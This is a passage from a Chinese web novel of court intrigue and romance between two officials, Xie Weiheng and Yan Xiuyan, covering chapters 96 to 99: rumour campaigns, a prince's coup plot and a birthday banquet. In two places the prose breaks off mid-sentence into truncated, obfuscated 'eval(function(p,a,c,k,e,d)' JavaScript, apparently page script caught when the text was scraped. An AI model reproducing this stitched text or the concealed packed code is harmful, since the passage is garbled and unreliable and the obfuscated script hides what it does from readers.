不提谢伟恒还好,一提这个名字,礼部尚书顿时又气不打一处来,愤愤不平地嘟囔:“还好意思提谢大人!亏得燕大人真心待他,还特意送花给他,可今日早朝,他却半点不急不躁,全程冷眼旁观!燕大人真是可怜!” 燕修延,可怜? 吏部尚书心中暗自摇头,谁都有可能落得可怜境地,唯独那个心思缜密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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通过暗中盯着安凝棠身边的人,以及看到的书信线索,这东西并非她自己寻来,而是何依馨给她的。 说这是能让陛下独宠她一人的神药,蠢得可笑。 何依馨倒是谨慎,让安凝棠看完书信便立刻烧毁,不留半点痕迹。 燕修延嗤笑一声,“可她忘了,监察司能人众多,有眼力过人的暗卫潜进宫中,趴在房梁之上,一字不落地看完了整封书信。” 说罢,他又露出几分看热闹的兴致,凑近谢伟恒,贼兮兮地压低声音:“郑太医说了,这透骨草,无病之人吃下,短时间内会精力旺盛,看似龙精虎猛,实则是在快速掏空身体根基。” 说白了,就是一副副作用惨烈的壮*药罢了。” 燕修延只当这是后宫一场可笑的闹剧。 谢伟恒却早已看透了背后的阴狠图谋。 他眸色深沉,缓缓开口:“如此一来,等到晋王谋逆事成之后,便可对外宣称,会善待陛下。” 再送几名美人妃子侍奉左右,时日一久,陛下身体亏空,一命呜呼,他们不仅杀人于无形,还能博得一个仁厚的好名声。 燕修延拿起桌上一个苹果,咔嚓咬了一大口,漫不经心地说道:“这等阴毒又周全的主意,绝不可能是晋王想出来的,他没这个脑子。” 谢伟恒陷入沉思,指尖轻轻敲击着桌面。 这等心机,也不像中书令的手笔。 中书令为人谨慎小心,却智谋不足。 96. 我记性不好,忘了 “谢大人,想什么呢?这般出神。” 燕修延见谢伟恒半晌不语,目光落向窗外,不知在思忖什么朝堂琐事,便抬了指尖,轻轻往他脸颊上戳了戳, 矮榻本就窄小,容下两个身形挺拔的男子,便显得格外局促。 谢伟恒回神,垂眸看向身侧人。 燕修延侧过身子寻了个最舒服的姿势,躺在谢伟恒怀里。 谢伟恒手臂自然环上他的腰,轻轻收拢,让他贴得更紧些,下巴微低,柔软发丝蹭过他的发顶,声音低沉温缓:“我在想,何依馨这一出闹得这般蹊跷,背后恐怕不只是中书令在推波助澜,多半还与戚崇盛有关。” 戚崇盛,是晋王外祖。 年岁渐长后,便主动请了个闲职,平日里深居简出,一副远离朝堂、无心权势的模样。 可手中那点兵权,却寻了无数由头,迟迟不肯上交。 他的嫡长女是先帝当年极宠的贵妃,也就是晋王生母;二女儿嫁与越骑校尉,手握部分禁军兵权;长子在刑部任职,次子入兵部,就连那不成器的幺子,也安插在翰林院混了个差事。 看似闲散,实则根系盘错,遍布朝野。 “倒是把这老东西给忘了,一家子都闷声不响地藏在暗处,最是容易被人忽视。” 燕修延恍然大悟般啧了一声,抬手将啃得干干净净的苹果核精准丢进案上空盘,发出清脆一响。 他刚抬高手腕,谢伟恒便已顺手取过一旁素色锦帕,轻轻攥住他的指尖,细细擦去指缝间残留的果渍,动作自然又熟稔,仿佛做过千百遍。 燕修延任由他摆弄,晃了晃另一只手,眼底闪过几分玩味:“谢大人可知,晋王为何偏偏迟了一步?” 谢伟恒其实是知道其中缘由的,将帕子叠好放在一旁,眸中含着浅淡笑意,配合地开口:“我愚钝,还请燕大人为我解惑。” “戚崇盛老了。” 燕修延慢悠悠道,“他不似中书令那般谨慎过头,可也少了几分豁出去的闯劲与胆识。” 当初陛下还是四皇子时,最大的依仗便是年大将军手握重兵支持。 可真论起先天优势,晋王才是最拔尖的那个。 偏偏戚崇盛一见年大将军站在四皇子这边,当即就迟疑了,瞻前顾后,怕自己手中那点兵力在年大将军面前不堪一击。 机会这东西,从来都是转瞬即逝。 谁抓得住,谁便能乘风而上,一步登天,登基为帝。 “他当年退了,如今倒又敢冒出来指点江山了?” 谢伟恒轻抚着他的后腰,声音平静:“他从未真正退去,一直藏在暗处。只是此前我们的目光都集中在中书令身上,反倒忽略了这颗埋在深处的钉子。” “老东西。” 燕修延撇了撇嘴,颇有些嫌弃地嘟囔一句,抬手便想去案上拿点心。 刚一动弹,一块清甜软糯的桃花糕便已递到了嘴边,谢伟恒指尖稳稳托着,眉眼温柔。 燕修延张口咬下半块,甜香在舌尖散开,他含混不清地赞道:“谢大人真上道。” 他现在吃东西有了个习惯,每每咬过半,便留着另一半递到谢伟恒唇边。 谢伟恒本不爱吃这些甜腻糕点,可偏生燕修延碰过的,他却从不拒绝,张口便接了下来,慢条斯理地咽了。 燕修延看在眼里,心头微微发烫,嘴上却只装作不知。 “晋王那群人,此刻怕是正偷着乐,陛下越是这般袒护我,他们越是觉得正中下怀。” 燕修延慵懒地靠在谢伟恒怀里,打了个浅浅的哈欠。 连日来处理杂事、布局算计,连轴转得几乎没好生歇息,眼底已染了淡淡的红。 谢伟恒搭在他腹部的手便轻轻拍了起来,节奏缓慢又安稳,像在哄孩童入睡一般,声音柔得能滴出水:“累了便睡一会儿,我在这儿守着。” 燕修延强撑着睁了睁眼,嘴硬道:“我不困。” 可不过片刻,均匀绵长的呼吸便轻轻响起,人已在谢伟恒怀里沉沉睡去,长睫垂落,投下一小片浅影,脸色也比平日里柔和了许多。 谢伟恒低头,在他发顶轻轻一吻,眸中满是纵容。 正如燕修延所料,晋王那边的确得意至极。 他们要的,就是皇帝对燕修延这般不加掩饰的袒护。 不然,他们那面‘清君侧,正朝纲’的旗子,又怎么好意思光明正大地打出去? 一时间,燕修延残害百姓的流言蜚语如潮水般涌遍京城街头巷尾,沸沸扬扬。 而这些离谱至极的传言里,倒有大半是谢伟恒刻意安排的。 燕修延起初还觉得多此一举,可谢伟恒自有盘算。 温瑞一人分饰多角,换了身粗布衣裳,脸上粘着假胡须,压低声音,绘声绘色地跟周遭茶客吹嘘,唾沫星子横飞。 “你们是不知道!那燕修延,蛮横得很!连人家挡路的狗都不放过,硬生生把狗毛剃光不说,还把狗给阉了!” “这算什么!我还听说,燕修延恶贯满盈,走在街上都要抢三岁小童的糖吃!” “何止啊!” 一人凑过来,说得煞有介事,“我亲戚的邻居的三舅的二姑妈的小姨子家的车夫亲口说,燕修延连襁褓里婴儿的拨浪鼓都抢!简直丧心病狂!” 坐在对面的柳岚听得一脸一言难尽,嘴角抽了又抽,强忍着才没当场拆台。 一出茶馆,远离了人群,柳岚终于忍不住拉住温瑞,满脸困惑:“温瑞,你说这些乱七八糟的,谁会信啊?也太扯了。” 温瑞抬手撕掉脸上粘得紧实的假胡子,疼得龇牙咧嘴,揉了揉脸颊,得意洋洋道:“你这就不懂了吧?老百姓才不管真假,他们就爱茶余饭后听个热闹。” 比起晋王那边散布的杀人放火、强抢民女、贪赃枉法这类血腥沉重的罪名,这些稀奇古怪、荒唐可笑的传言,反而更容易被人记住,传得也更快。 众人听完一笑了之,顶多笑骂一句“你尽鬼扯”,并不会真正放在心上。 否则,等将来晋王伏法,他泼在燕修延身上那些血腥脏水早已深入人心,再想洗干净,就难如登天了。 就像陛下刚登基时,外头传的谣言,至今仍有不少人当真,一口咬定燕修延是个恶贯满盈的奸佞酷吏。 柳岚仍是不解,皱着眉问:“那当年陛下登基之初,谢大人怎么不这样帮头儿辟谣?” 温瑞挠了挠头,一脸茫然:“这我哪儿知道。” “……真够扯的。” 燕修延捏着手中那张写满流言的纸,看得额角青筋直跳,抖了抖手,哭笑不得:“大虞第一鬼扯官,非你谢大人莫属。幸亏当初你没这么干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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燕修延伸出食指,轻轻抵住谢伟恒的额头,把人推开一点,无奈道,“回头宁大人若是瞧见,定要抓着这些事嘲笑我半年。” 谢伟恒低笑一声,声音低沉磁性,带着几分刻意的委屈:“燕大人,你我二人这般亲近,不想着我,反倒频频惦记旁人。” 话音未落,他单手扣住燕修延后颈,微微用力,两人唇瓣瞬间挨得极近,呼吸交缠,气息滚烫。 燕修延哪能看不出他那点小心思,嗤笑一声,干脆张口轻轻咬住他的下唇,含糊道:“想亲就亲,少拿吃醋当由头,在我这儿讨好处。” 谢伟恒喉间溢出一声闷闷的轻笑,不再多言,顺势低头,深深吻了上去。 良久,他才稍稍退开些许,指腹轻轻蹭过燕修延发烫的脸侧,声音沙哑:“燕大人说的,想亲就亲,我记住了。” 燕修延抿了抿被吻得微肿的唇,脸颊不受控制地泛起薄红,嘴硬道:“我记性不好,早忘了。” 谢伟恒勾唇,笑意更深,又要低头凑近:“那我便帮燕大人好好记起来。” 恰在此时—— “扣扣扣——” 清脆的敲门声突兀响起,打破了一室暧昧。 谢伟恒动作一顿,燕修延却瞬间来了精神,眼底闪过一丝狡黠,扬声笑道:“进来。” 真是来得正好——虽然,好像又不是时候。 温瑞推门而入,一眼便看见坐在书案上的燕修延,以及站在他身前、两人挨得极近、气氛微妙得不能再微妙的谢伟恒。 “额……我、我重新敲个门。” ———————————————— 温瑞:谁能给我支个招,我该如何不尴尬的出去。 97. 嘴跟抹了砒霜似的 温瑞轻手轻脚退出门外,反手轻轻带上房门,动作利落又谨慎。 没吃过猪肉,还没见过猪跑? 方才推门那一瞬,屋内那股黏腻缱绻的气息、两人相贴的姿态、眉眼间未尽的温存,他一眼便瞧得明明白白——分明是刚腻歪过。 再联想起前几日底下人传的那些零碎消息,温瑞心头猛地一跳,险些脱口而出。 卧槽!敢情他们头儿这是……有了? 怪不得近来头儿连朝都懒得上,整日窝在府邸不挪窝,原来是这么回事! 这等天大的消息,回去定要跟监察司的兄弟们好好唠唠,往后可万万不能再随便跟头儿嬉皮笑脸、没大没小了。 万一冲撞了胎气,那可是要吃不了兜着走的。 温瑞在门外静立片刻,平复了心绪,抬手正欲敲门,门板却先一步从内拉开。 燕修延斜倚在门框边,双臂环胸,眉眼微挑,语气带着几分不容置喙的警告:“你可不许出去乱说。” 温瑞立刻换上一副憨厚老实的笑,连连点头:“头儿放心,我只说谢大人吩咐的正事,旁的半个字都不往外漏。” 谢伟恒自屋内缓步走出,手中捏着一封封好的信封,递到温瑞面前,语气清淡:“有劳。” “哪里哪里,都是我分内之事!” 温瑞双手接过信封,如蒙大赦一般,脚下生风,一溜烟便没了踪影。 燕修延望着他仓皇离去的背影,眼皮莫名一跳。 温瑞那张嘴,他再清楚不过——那就是个漏风的筛子,还是个越传越离谱、添油加醋的漏风筛子。 他抬手揉了揉发胀的眉心,轻叹一声:“不出半日,京城怕是又要多出一段家喻户晓的荒唐谣言了。” 果不其然,一切皆如燕修延所料。 第二日一早,谢府小厮端茶送水时,眼睛便时不时往燕修延小腹上瞟,目光黏黏糊糊,带着几分小心翼翼的关切。 还压低声音凑到谢伟恒身边,小声提醒:“少爷,您走路时多扶着点夫人,仔细些。” 燕修延听得太阳穴突突直跳,伸手轻轻揪住谢小厮的耳朵,一字一顿,冷声道:“小子,你听好了。把你在外头听来的那些乱七八糟、离谱至极的东西,统统给我忘掉,半个字不许再提。” 谢小厮龇牙咧嘴,连忙讨饶:“夫人您别气,别气,小心动了……胎气啊!” “动你大爷!” 燕修延额角青筋微跳,转头狠狠瞪了谢伟恒一眼,“你到底从哪儿挑来这么个脑子不灵光的当小厮?” 谢小厮低眉顺眼,连声告饶:“我不说了,不说了,夫人千万息怒,千万别气坏了身子。” 谢伟恒轻轻摆了摆手,谢小厮如逢大赦,一溜烟便跑没了影。 跑远前还不忘回头扯着嗓子叮嘱:“少爷!您千万看好夫人,万万不能让他舞枪弄棒、爬高上低啊!” 燕修延:“……” 他一时竟气到无话可说。 谢伟恒忍俊不禁,缓步上前,一手稳稳扶住他的腰,另一手轻轻覆在他平坦的小腹上,语气温柔得能滴出水来:“夫人莫气,气坏了身子,不值当。” “谢、伟、恒!” 燕修延咬牙,一把揪住他的衣襟,狠狠将人抵在廊下墙壁上,眸色凶戾,语气又凶又恼,“你信不信,我现在就让你揣上我的崽?” 谢伟恒非但不恼,反而低低笑出声,眉眼弯弯,眸光温柔缱绻,语气慢条斯理:“既然夫君这般说,那便如夫君所愿,我们此刻便回房。” 燕修延一噎,瞬间松了手,转身快步往前走。 不行。 论脸皮厚、论骚话连篇,他是真骚不过谢伟恒。 道行尚浅,还得回去多多修炼。 如今只盼着陛下生辰赶紧到来,再这么拖下去,天知道外头还能传出多少离谱到没边的谣言。 虞睿祥生辰将近,各地亲王陆续抵京,京城一时热闹非凡。 御花园内,五皇子瑞王正与虞睿祥对弈。 瑞王执白子,落下一子,抬眸看向端坐对面的帝王,轻声道:“皇兄瞧着近日似乎有些疲惫。” 虞睿祥指尖捻着一枚黑子,随手落在棋盘之上,语气平淡:“你皇嫂有了身孕,朕近些日子尽量多抽些时间陪她,倒也不算累。” 瑞王抬手轻轻拂去落在棋盘边缘的落花,唇角微扬:“皇兄素来重情,是位好夫君,将来也定会是位好父亲。” 想当年先帝在位,后宫子嗣众多,可除了少数几位极受宠爱的皇子公主,其余人一年到头,也唯有阖宫家宴那日方能远远见上一面。 说来讽刺,那些当年受尽荣宠的,大多早已不在人世,反倒是他们这些自幼被冷落忽视的,平平安安活到了如今。 虞睿祥闻言只是淡淡一笑,并未多言。 瑞王再度落子,黑子瞬间被白子团团围住,局势渐紧。 他抬眸,状似随意地开口:“皇兄生辰大典办得隆重,臣弟近日听闻,监察司正使如今在家安胎,不便理事。届时宫中守卫,不知交由何人负责?” “嗒——” 一声轻响,虞睿祥指尖一顿,手中棋子没拿稳,径直落回棋盒之中。 监察司正使……安胎? 外面的谣言,竟已经传得这般离谱了? 虞睿祥缓缓抬眼,目光淡淡扫过瑞王。 皇宫守卫向来有专属禁军统领负责,与燕修延无干,这一点满朝文武皆知,瑞王更不可能不清楚。 他重新捻起棋子,指尖轻叩棋盘,落下一子,瞬间盘活整盘死局,语气平静无波:“皇宫守卫自有专人统筹,无需劳烦旁人,届时皇弟只管安心入宫,看戏赏舞便是。” 瑞王听出帝王话中深意,心中已然有数,便不再多问,只垂眸继续落子。 一时间,御花园内只剩棋子落盘的清脆声响,静谧无声。 一局终了,虞睿祥险胜一子半。 瑞王拱手笑道:“皇兄棋艺精湛,臣弟自愧不如。” “哈哈哈。” 虞睿祥朗声一笑,伸手一颗颗收回棋子,“皇弟太过谦虚,当年少傅授课,可没少夸赞你的棋路沉稳。” 瑞王轻轻摇头:“皇兄抬举臣弟了。” 虞睿祥抬眸看了一眼天边日色,缓缓道:“今日便留在宫中用膳吧。” 瑞王颔首应下:“臣弟恭敬不如从命。” 宫中御厨正忙着备膳之时,谢府内堂早已摆上满满一桌热气腾腾的佳肴。 菜肴香气扑鼻,色泽鲜亮,勾得人食指大动。 燕修延往椅上一坐,拿起筷子便夹了一大块肉塞进嘴里,嚼得津津有味,又端起酒杯抿了一口烈酒,眯着眼叹道:“真香,美滴很呐!” 刚要伸筷夹第二口,门外便传来谢伯轻浅的脚步声,他站在廊下,对着屋内微微躬身,示意谢伟恒出去说话。 谢伟恒起身缓步走出。< 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燕修延嗑着瓜子,听得津津有味,侧头小声对身旁的谢伯道:“还好你家少爷读书没读傻,你听听这些人说话,脖子上顶的那个球跟没长脑子似的。谢伯,你把扫帚放下,别动手,交给谢伟恒处理就行。” 院内安静一瞬,院门外的喧嚣却愈发刺耳。 “蒙羞?” 谢伟恒脸上笑意尽敛,周身气息骤然冷了下来,目光缓缓扫过面前每一个书生。 他一字一顿,声音不高,却带着不容置疑的压迫感:“诸位方才所言,是说陛下亲赐的婚事,意在让天下读书人蒙羞?还是说,仅凭你们几人,便能代表天下读书人?” 谢伟恒缓步走下门前石阶,衣袍微动,气势凛然:“诸位身上可有功名在身?若有,本官此刻便带你们入宫面圣,当着陛下的面,把这话再说一遍。” 书生们脸色一白,齐齐往后退了几步,你看我我看你,无一人敢应声。 谢伟恒眉梢微挑,语气带着几分淡淡的疑惑:“所以,皆是白身?” 为首那书生强撑着挺起胸膛,色厉内荏道:“白、白身又如何?我等将来定能金榜题名,考取功名,为国效力!” 谢伟恒目光轻飘飘落在他身上,自上而下淡淡一扫,面上并无半分轻蔑,可出口的话,却字字如针,扎得在场书生面红耳赤,无地自容。 “真正能高中金榜之人,此刻必在寒窗苦读、潜心向学,而非听风便是雨,整日对旁人家事指手画脚、搬弄是非。 显然,你们并非此类人。即便将来有人侥幸考中,也定是昏聩无能之辈。为国效力?不鱼肉百姓,便是你们对天下最大的功德了。” 院墙内,燕修延听得差点拍腿叫好,瓜子壳都忘了吐。 谢伟恒这张嘴,平日里看着清冷寡言、不善言辞,如今一开口,跟抹了砒霜似的,句句戳心,听得人浑身舒坦。 想当初刚认识那会,谢伟恒装得多斯文啊,冷淡、话少、容易脸红,看着还嘴笨。 可如今这般嘴毒又护短的样子,燕修延反倒越看越喜欢——只要他私底下别总说那些荤话,那就更完美了。 院门外,为首书生被怼得哑口无言,脸色一阵青一阵白,半晌才憋出一句:“谢、谢大人这般偏帮燕修延,真是……真是叫天下读书人耻笑!” —————————————— 虞睿祥:你说谁安胎?朕认识的监察司正使就那么一个,朕也不记得有第二个正使啊 98. 真真是个坏妖孽 谢伟恒立在台阶之上,玄色衣袍衬得身形挺拔如松。 他垂眸扫过眼前那群色厉内荏的书生,方才还沸反盈天的吵闹声,竟在他开口的瞬间矮了三分。 “你们自许是读书人,却不知读的是什么书,又是哪位圣人教导你们做一个不分青红皂白、肆意吵闹的市井无赖。” 话音落得极轻,却字字如钉,扎得书生们脸上青红交织。 周遭已围了些路过的人,三三两两凑在一处,指尖指指点点,细碎的议论声混着风飘过来,让本就难堪的众人愈发局促。 谢伟恒忽往前迈一步,目光如炬,锐利得似要穿透人心,书生们下意识缩起脖子,眼神躲闪,竟齐齐往后退了半步,像被风吹散的蓬草。 “读书是为了明理,为了修身齐家治国平天下,而不是让你们在这里无的放矢,无端指责他人。” 他语气平淡,却带着一股不容置喙的威严。 方才还振振有词的书生们,此刻竟鸦雀无声,连呼吸都放轻了,唯有指尖不自觉地绞着衣袖,显露出心底的慌乱。 燕修延指尖捏着颗瓜子,“咔嗒”一声咬碎壳子,吐皮的动作漫不经心,眼底漾着几分戏谑。 这些书生空有读书人的名头,却连最基本的是非都辨不清,哪里是能讲道理的模样? 谢伟恒顿了顿,抬眼扫过众人,声音冷了几分:“可还有要说的?” 无人应答,连风都似停了一瞬。 “希望你们日后为人做事,懂得听取多方意见,而非人云亦云,没有一点自己的主见和见解,不要成为随波逐流的庸才。” 此言落地,书生们纷纷垂首,面露羞愧,耳根子都红得发烫。 谢伟恒再没兴趣多言,转身欲回府,脚步顿了顿,又丢下一句诛心之语:“你们说读书要考取功名,为国效力,连明辨是非的能力都没有,还谈为国效力?” 谢府厚重的朱漆大门缓缓开启,又伴着沉闷的“吱呀”声闭合,落锁的“哐当”一声,像敲在众人的心尖上,惊醒了早已呆愣的书生们。 他们抬眼望去,围观者的目光带着审视与戏谑,如芒刺在背,只得三三两两聚作一团,垂头丧气地散了,背影狼狈不堪。 “可以啊谢大人。” 燕修延指尖还捏着半颗瓜子,饶有兴味地仰头看他,“这小嘴叭叭的,把他们说成哑巴了。” 谢伟恒微微一笑,向燕修延伸出一只手,掌心温热。 燕修延顺势握住他的手腕,借力起身。 脚跟还未站稳,便被谢伟恒一把抵在身后的墙上。 青砖微凉,贴着后背,两人的距离骤然拉近。 燕修延头微微后仰,唇角勾着调侃的笑意:“谢大人,谢伯还在……嗯?跑这么快。” 周遭围观的人影,竟在转瞬之间散得无影无踪。 谢伟恒的手掌紧紧扣住燕修延的后颈,指腹摩挲着细腻的肌肤,将人牢牢困在臂弯与墙壁之间。 温热的呼吸拂过燕修延的脸颊,带着淡淡的墨香与松枝气,扰得人心头发烫。 谢伟恒微微俯身,勾起燕修延的下巴,眸色深邃:“燕大人可从中学到了辩驳之道?” 燕修延咧嘴一笑,带着几分无赖的狡黠:“听完就忘了,怎么谢大人还想给我也上一课?” 谢伟恒的指尖轻轻按住他的下唇,指腹的薄茧蹭过肌肤,低沉的笑声在喉间滚动:“确有此意,只是此地并非授课之所,不如我们另寻他处。” 言语暧昧,缠缠绕绕,像织了一张密不透风的网。 燕修延哪能不懂谢伟恒的心思? 他伸手握住谢伟恒的手腕,轻轻拨开,倾身靠近,鼻尖几乎相抵:“敢问谢大人,你这课,上的正经么?” “再正经不过。” 谢伟恒的笑意渐深,眼尾微微上挑,勾得人心痒。 燕修延才不信,伸手佯装推拒,却并未用力。 “燕大人想逃课?” 谢伟恒搂住他的腰,俯身吻了上去。 绵长而细密的吻,带着不容拒绝的温柔,将周遭的空气都染得温热。 燕修延搭着他的肩,推拒的力道轻飘飘的,反倒像在撒娇。 分开时,两人气息皆不稳。燕修延舔了舔下唇,舌尖掠过唇角的蜜饯痕迹,戏谑道:“谢大人还好意思说这课正经?” 谢伟恒眸色渐暗,偏头在他颈侧轻轻咬了一口。 突如其来的举动让燕修延浑身一僵,随即又放松下来。 燕修延指尖懒散地抵住谢伟恒的脑袋,带着几分嗔怪:“喂,你属狗的?大白都不随便咬人。” 大白养在谢府后院,每日吃了睡、睡了吃,圆滚滚的身子愈发肥美,此刻正趴在廊下,懒懒的打着哈欠。 谢伟恒抬起头,唇角噙着笑意,眼底满是温柔:“不属狗,属你,只属于你。” 燕修延摸了摸鼻尖,轻声道:“一会让人泡点山楂茶,吃的油了。” 书生之事究竟是受人煽动,还是有人故意带头上门闹事,燕修延压根懒得深究。 横竖不过是“清君侧”的幌子,借由壮大声势罢了,随他们去。 山楂茶泡好端来,酸得燕修延皱起脸,忙塞了一颗蜜饯进嘴里,才缓过那股酸涩。 “就你这伶牙俐齿、能言善辩的,真难为你当初装嘴笨了。” “燕大人怎知当初我不是乐在其中?” 谢伟恒轻轻握住燕修延的手腕,俯身张开嘴,咬住燕修延指尖捏着的那颗蜜饯。 舌尖不经意间扫过燕修延的指尖,温热的触感让燕修延的心跳陡然加快几分。 “呔!你这个妖孽!” 燕修延食指与中指并拢,故作严肃地 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两人胡闹了半个多时辰。 沐浴更衣,用过晚膳。 燕修延懒洋洋地躺在床上,四肢舒展,语气带着几分疲惫:“等抓了荣亲王,我要好好休息休息。” 顿了顿,又严谨补充,“唔,严谨点,等抄完他们家,再好好休息。” “要去一趟江南么?这次去待的时间长点。” 谢伟恒撩起一缕燕修延的黑发,指尖轻轻缠绕,动作温柔。 燕修延对此没什么执念,只要不用上朝、不用费尽心机筹谋,去哪里都好。 “行,那你可要再好好尽一尽地主之谊。” “这个自然。”谢伟恒笑意温柔。 燕修延抬手使唤谢伟恒,语气慵懒:“把蜡烛熄了,今天早点睡,困了。” “好。” 谢伟恒应声,俯身吹灭烛火,屋内陷入一片静谧的黑暗。 窗外,夜色渐深。 第一缕晨曦穿透云层,洒在皇宫的红墙金瓦之上,照在檐角的吻兽身上,镀上一层暖光。 宫人们早已起身忙碌,神色匆匆地穿行在宫道之上,脚步轻快而有序,各自打理着手头的事务。 “今儿陛下生辰,都给我仔细着点!” “这里擦干净了,别留一点灰尘。” “谁让你这么摆的?挪过来!” “手脚都放麻利点,人也伶俐点,听明白没有?” “听明白了!” —————————————— 大白(狮子):真好,本宝宝也算是过上衣食无忧的生活啦?? 99. 在唱独角戏? 御膳房内,炉火熊熊燃烧,铜锅铁鼎沸腾作响,蒸腾的热气裹着珍馐美味的浓香,漫满整座宫殿。 掌勺大厨们挽着衣袖,手持锅铲勺筷,动作麻利如行云流水,煎炒烹炸、焖溜熬炖,一道道宫廷御膳次第出锅—— 水晶肘子油亮剔透,八宝鸭酥香扑鼻,鱼肚羹鲜醇润喉,各色点心精巧玲珑,香气层层叠叠飘出,勾得人食指大动,连守在门外的宫人都忍不住频频侧目。 殿外,文武百官早已身着簇新华贵的朝服,按品级肃立等候,乌纱官帽整齐划一,锦袍玉带衬得人人神色庄重。 宫人们捧着描金食盒、银质餐盘,步履轻盈地鱼贯而入,将一道道热气腾腾的御膳整齐摆放在宴桌之上,珍馐罗列,玉盘珍馐,极尽奢华。 殿侧乐师们端坐案前,玉笛、琵琶、古琴齐鸣,曲调悠扬婉转,清越悦耳,绕梁不绝。 身着彩衣的舞姬们莲步轻移,步入殿中中央,水袖翻飞,身姿曼妙如弱柳扶风,舞步轻盈似穿花飞燕,一颦一笑皆是精心演练许久的姿态,为座上的帝王虞睿祥献上生辰贺舞。 百官依次起身,轮番向虞睿祥敬献贺词,颂词恳切,吉语连绵,大殿之内一派祥和喜庆。 可就在这其乐融融的时刻,一道突兀又严厉的声音,硬生生刺破了满殿的祥和。 “皇上!” 晋王身着绣着四爪金龙的蟒袍,腰束玉带,猛地从席位上站起身,声如洪钟,震得殿内乐声都骤然一停。 他目光如刀,直直锁定龙椅之上的虞睿祥,声色俱厉地开口:“本王自进京以来,耳闻诸多骇人听闻之事,桩桩件件,皆指向陛下最宠信的近臣——监察司正使燕修延!” 此言一出,满殿哗然。 晋王语气越发严苛,字字铿锵:“民间百姓早已对燕修延深恶痛绝、恨之入骨,怨声载道!陛下为何迟迟不将其正法,以慰民心、以平民愤?!” 他死死盯着虞睿祥,眼神里带着逼问与挑衅,仿佛手握铁证,势要将燕修延置之死地。 大殿瞬间陷入死寂,落针可闻。 知晓晋王密谋的官员,早已按捺不住,蠢蠢欲动准备站出来附和; 不明内情的百官则面面相觑,眼神惊疑不定,纷纷交头接耳,低声议论。 燕修延在朝中行事素来凌厉,名声算不上温和,可也绝没有到晋王口中那般天怒人怨的地步。 近段时间坊间确实流传着不少关于燕修延的流言蜚语,可大多捕风捉影,他们听过便罢,从未当真,此刻被晋王这般堂而皇之地搬上生辰大殿,实在太过突兀。 瑞王早知晋王今日必会发难,面上依旧波澜不惊,沉稳如松。 他侧眸瞥了一眼身旁满脸担忧、坐立不安的六皇子,轻轻摇了摇头,眼神沉静,示意他稍安勿躁,不必惊慌。 龙椅之上,虞睿祥神色淡漠,只是静静地看了晋王片刻,半垂着眼帘,不紧不慢地端起案上的白玉酒杯,指尖摩挲着杯壁,面沉如水,眸中无半分波澜,仿佛根本没听见晋王的逼问,连一句回应都吝于给予。 礼部尚书心头一紧,张了张嘴想要出面打圆场,打破这尴尬死寂的局面,可手腕刚一动,就被身旁的吏部尚书死死按住。 吏部尚书对着他微微摇头,递去一个“稍安勿躁,静观其变”的眼神,示意他切莫轻举妄动。 晋王身后的党羽见时机已到,纷纷按捺不住,准备起身随声附和,将燕修延的“罪名”坐实。 就在这千钧一发之际,一道清冷沉稳的声音骤然响起。 “王爷口中骇人听闻之事,皆为道听途说之言,不知可有真凭实据?” 谢伟恒端坐席中,神色平静,抬眸看向晋王,语气淡漠却带着不容置喙的锐利,一句话便戳中要害。 证据?晋王自然早有准备。 晋王眼底闪过一丝阴狠,心中冷笑——证据要多少有多少。 早在多日前,他便命人精心罗列了燕修延的一长串罪证,贪赃枉法、构陷忠良、欺压百姓、滥杀无辜……桩桩件件,听起来骇人听闻,至于是真是假,根本不重要。 重要的是,他要将这些莫须有的罪名,一股脑全部扣在燕修延头上。 再顺势给虞睿祥戴上一顶“宠幸奸佞、漠视苍生”的帽子,将帝王的颜面踩在脚下。 而他自己,则能打着“匡扶正义、清君侧、安社稷”的旗号,以拯救天下黎民、解救万民于水火为名,名正言顺地将虞睿祥从龙椅上拉下来,兵不血刃,夺下皇权。 念头落下,晋王暗中使了个眼色。 立刻有一群衣衫褴褛、面带悲戚的“百姓”从殿外跌跌撞撞跑进来,一个个痛哭流涕,噗通一声跪伏在大殿中央。 对着虞睿祥连连叩首,声泪俱下地控诉着燕修延的“暴行”,哭天抢地,模样凄惨可怜,仿佛当真受了天大的冤屈。 殿上百官看得心惊,唯有龙椅上的虞睿祥,依旧一副云淡风轻的模样。 他就着这些人编造的荒唐故事,慢条斯理地夹菜、饮酒,神情闲适,甚至在心底暗暗点评—— 这故事编得还算生动,若是再来一碗白米饭,就更下饭了。 晋王将虞睿祥的无动于衷尽收眼底,心中暗自窃喜。 皇帝越是对这些“诉苦百姓”视若无睹,便越显得冷漠无情、漠视民生,他待会儿起兵清君侧,就越是名正言顺,深得民心。 他绝不会做弑君夺位这般愚蠢之事,留下千古骂名,他要的,是顺应民心、师出有名的正统皇位。 待那群“受害者”哭嚎完毕。 晋王立刻摆出一副义愤填膺、痛心疾首的正义姿态,上前一步,厉声喝道:“皇弟!这些百姓如此凄惨可怜,本王听了都心痛不已,可陛下却不为所动,冷眼旁观,难道在陛下心中,江山百姓,竟比不上一个奸佞小人?!” 虞睿祥这才慵懒地掀起眼皮,漫不经心地瞥了晋王一眼,唇角勾起一抹似笑非笑的弧度,语气轻淡:“皇兄编故事的本事,倒是越发不错了。谢卿,你觉得如何?” 谢伟恒缓缓放下手中酒杯,抬眸迎上虞睿祥的目光,面无表情,语气平淡地回应:“回陛下,臣以为,不过平平无奇,比起坊间戏文,尚且算不上跌宕起伏、扣人心弦。” 这话一出,无异于当众打脸。 晋王党羽中的胡大人立刻勃然大怒,猛地一拍桌子,站起身指着谢伟恒的鼻子,怒声斥责:“谢伟恒!老夫原以为你是个心系百姓、一心为公的栋梁之臣,却不曾想,你竟是这般铁石心肠的冷血无情之辈!对百姓苦难视而不见,实在令人心寒!有你这般贪官佞臣在朝,真是我大虞王朝的不幸!” 一旁的中书令偷偷抬手擦了擦额角渗出的冷汗。 他总觉得今日虞睿祥和谢伟恒的态度太过诡异,平静得反常,平静得让人心头发慌,一股强烈的不安感在心底疯狂蔓延。 以至于晋王频频朝他使眼色,示意他出面声援,他都装作未曾看见,死死低着头,如坐针毡,不敢有半分动作。 